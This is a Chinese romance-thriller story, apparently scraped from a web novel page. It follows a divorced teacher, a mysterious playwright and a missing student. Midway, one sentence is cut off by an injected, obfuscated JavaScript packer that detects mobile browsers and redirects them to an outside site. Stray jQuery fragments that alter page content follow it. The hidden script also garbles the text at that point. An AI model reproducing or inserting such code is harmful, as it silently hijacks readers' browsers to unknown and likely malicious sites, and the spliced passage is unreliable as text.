五月的樱花已经凋尽了，只剩下几片残瓣固执地黏在教务处窗玻璃上，像被遗忘的粉红色泪痕。兰英用纤细的手指将一缕散发别到耳后，阳光透过纱帘在她脸上投下细密的光斑，照亮了她眼角那颗不易察觉的泪痣。


    她今天穿着浅杏色的雪纺衬衫，荷叶边袖口随着批改作业的动作轻轻颤动，如同停驻在手腕上的白蝴蝶。办公室里新来的实习老师悄悄打量她——这个过分美丽的女人，离婚三年依然保持着天鹅般的颈线，说话时声音轻得像羽毛落在水面上。


    "兰老师。"教务主任的声音打断了静谧，"这位是杨鼎子老师，从首尔艺术大学回来的剧作家，暂时在我们学校体验生活。"


    男人从光影交界处走出来。他很高，驼色羊绒开衫里露出挺括的衬衫领，左手无名指戴着造型古旧的青铜戒指。当他的目光落在兰英身上时，空气中漂浮的尘埃突然有了重量。


    "久仰。"他说话时喉结的起伏很克制，"我看过您发表在《文学季刊》上的教育随笔。"


    兰英的钢笔尖在纸上洇开一个小墨点。那篇随笔写于离婚前夕，字里行间都是破碎婚姻的倒影。她抬头迎上他的眼睛——像两潭深秋的湖水，表面平静，深处却涌动着某种危险的暗流。


    "那些拙劣文字..."她的尾音消失在窗外的蝉鸣里。


    杨鼎子从公文包取出一本精装书，书脊烫金的法文标题闪着微光。"《追忆似水年华》的初版本，"他递书的动作像在献花，"您上次在教研会上提到过。"


    教务主任识趣地离开了。兰英没有接书，只是看着阳光在他睫毛下投出的扇形阴影。太年轻了，她想。这个男人的手腕上还留着静脉注射的淡青色痕迹，而她的血管已经开始在皮肤下显现出淡紫色的脉络。


    "我下午有课。"她最终说道，起身时雪纺裙摆扫过杨鼎子的西裤，发出丝绸摩擦羊毛的细微声响。


    走廊里，樱花残瓣粘在她的小羊皮高跟鞋跟上。兰英走得很慢，仿佛在等待什么。转过楼梯拐角时，她听见身后传来普鲁斯特书页翻动的声音，轻柔得像一声叹息。


    梅雨季来得猝不及防。兰英站在教学楼屋檐下，看着雨水在青石板上敲出透明的水花。她今天穿了雾霾蓝的连衣裙，领口别着珍珠母贝胸针，像一幅被雨水晕染的水彩画。


    "需要伞吗？"


    杨鼎子不知何时站在了她身后半步远的位置，手中握着一把黑竹柄长伞。雨水顺着他的额发滴落，在定制衬衫上留下深色的痕迹。


    "不必。"兰英望着雨幕，"我喜欢听雨声。"


    "像肖邦的《雨滴前奏曲》？"


    "更像李斯特《葬礼》里的段落。"


    他们之间突然安静下来，只有雨水敲打芭蕉叶的声响。杨鼎子的目光落在她微微泛青的眼睑上——昨夜她又失眠了，在离婚纪念日独自喝光了半瓶梅子酒。


    "下周三，"他突然说，"城北旧书店有场《雪国》朗诵会。"


    兰英的指尖轻轻颤抖。那是她二十岁时最爱的书，扉页上还留着前夫潦草的赠言。雨势渐大，水汽模糊了她的轮廓。


    "我可能..."


    "只是文学。"杨鼎子打断她，声音轻得几乎被雨声淹没，"就像我们讨论叶芝的诗歌那样纯粹。"


    一片花瓣顺着雨水漂到兰英脚边。她想起今早梳妆时发现的第三根白发，想起药柜里新添的抗抑郁药，想起教务系统里标注着"离异"的档案。


    "我考虑看看。"她最终说。


    杨鼎子点点头，从公文包里取出一个牛皮纸包裹。"剧本手稿，"他解释道，"主角是位教文学的女教师。"


    兰英没有接。"生活不是戏剧，杨先生。"


    "但戏剧源于生活。"他的手指擦过她冰凉的手腕，留下转瞬即逝的温度，"就像樱花明知会凋零，依然要盛开。"


    雨停了。阳光穿透云层，在水洼里折射出彩虹的碎片。兰英望着他远去的背影——那么挺拔，那么年轻，驼色开衫渐渐消失在蒸腾的水汽中。


    她弯腰拾起那片被雨水泡发的花瓣，轻轻夹进了教案本的扉页。


    教务处的玻璃柜里陈列着优秀作文，最上层那篇《我的妈妈》已经微微发黄。兰英每次经过都会调整珍珠母贝胸针的位置——这是女儿林嘉怡用第一笔压岁钱买的礼物。胸针背面有道几乎看不见的裂痕，就像她永远无法愈合的某处伤口。


    "兰老师又在看那篇作文？"杨鼎子的声音从身后传来，带着薄荷烟的气息。他今天穿着灰蓝色三件套西装，青铜戒指在晨光中泛着冷冽的光泽。


    兰英没有回头。她的手指无意识摩挲着胸针边缘，那里刻着细小的日期——陈川失踪前三天。"杨先生对教师私事也这么感兴趣？"


    "只是好奇。"他靠近一步，袖扣擦过她的雪纺衣袖，"为什么署名陈川的作文，指导教师栏却是空白？"


    窗外突然


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15949953|177513||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下起太阳雨。水滴在玻璃上蜿蜒成透明的蛇，将杨鼎子镜片后的眼睛折射成碎片。兰英闻到某种危险的气息，像暴雨前青石板渗出的腥气。


    "他转学了。"兰英转身时胸针勾住了一缕头发，"您该去准备公开课了，杨老师。"


    走廊尽头的教室里，学生们正在朗读《雪国》。当读到"银河像是要倾泻下来"时，杨鼎子看见最后一排的空座位——课桌上用白粉笔画着小朵的珍珠梅。他的钢笔突然在签到表上划出长长的墨痕，如同那年冬天铁轨上戛然而止的刹车印。


    旧书店的朗诵会比预期更早到来。梅雨季的黄昏，兰英在《日本哀歌》书架前停下脚步。那本初版《雪国》静静躺在展示柜里，扉页夹着张儿童画——歪歪扭扭的珍珠项链旁写着"给妈妈"。


    "您果然来了。"


    杨鼎子从阴影处走出，手中捧着两杯冒着热气的路易波士茶。茶香混着他身上雪松的气息，在潮湿空气里织成无形的网。


    "这本书..."兰英的声音像绷紧的琴弦。


    "三年前收于京都拍卖会。"他递过茶杯时，戒指擦过她的腕骨，"当时还有件有趣的拍品——串染血的珍珠项链。"


    茶汤泼洒在兰英的裙摆上，晕开深色的花。她想起警局物证袋里那串断裂的珍珠，每颗都映着陈川苍白的笑脸。杨鼎子突然握住她颤抖的手指，力道大得惊人。


    "其实我见过陈川同学。"他的呼吸喷在她耳畔，"在祂转学前一天。"


    雨声骤然变大。兰英看见他西装内袋露出的剧本一角——标题《失语者》下方印着某教育基金会的标志。那是陈川失踪前参加过的夏令营主办方。


    "您到底..."


    "嘘。"杨鼎子用食指抵住她的嘴唇，冰凉的青铜戒指贴着她的人中，"听说兰老师最近在调查特殊教育学校的补助金流向？"


    路灯突然亮起，将他半边脸照得惨白。兰英这才注意到他左眼虹膜边缘有圈不自然的灰翳，像蒙着雾的监控镜头。


    朗诵会开始了。当演员读到"穿过县界长长的隧道，就是雪国"时，杨鼎子悄悄往她包里塞了张纸条。兰英在洗手间展开泛黄的纸片，上面是陈川稚嫩的笔迹："杨老师说带我去找妈妈"。


    珍珠胸针突然从衣领脱落，在地砖上敲出清冷的回响。镜中的女人脸色惨白，唇膏晕出边界，像幅被雨水泡坏的仕女图。门外传来杨鼎子温柔的询问："需要帮忙吗，兰老师？"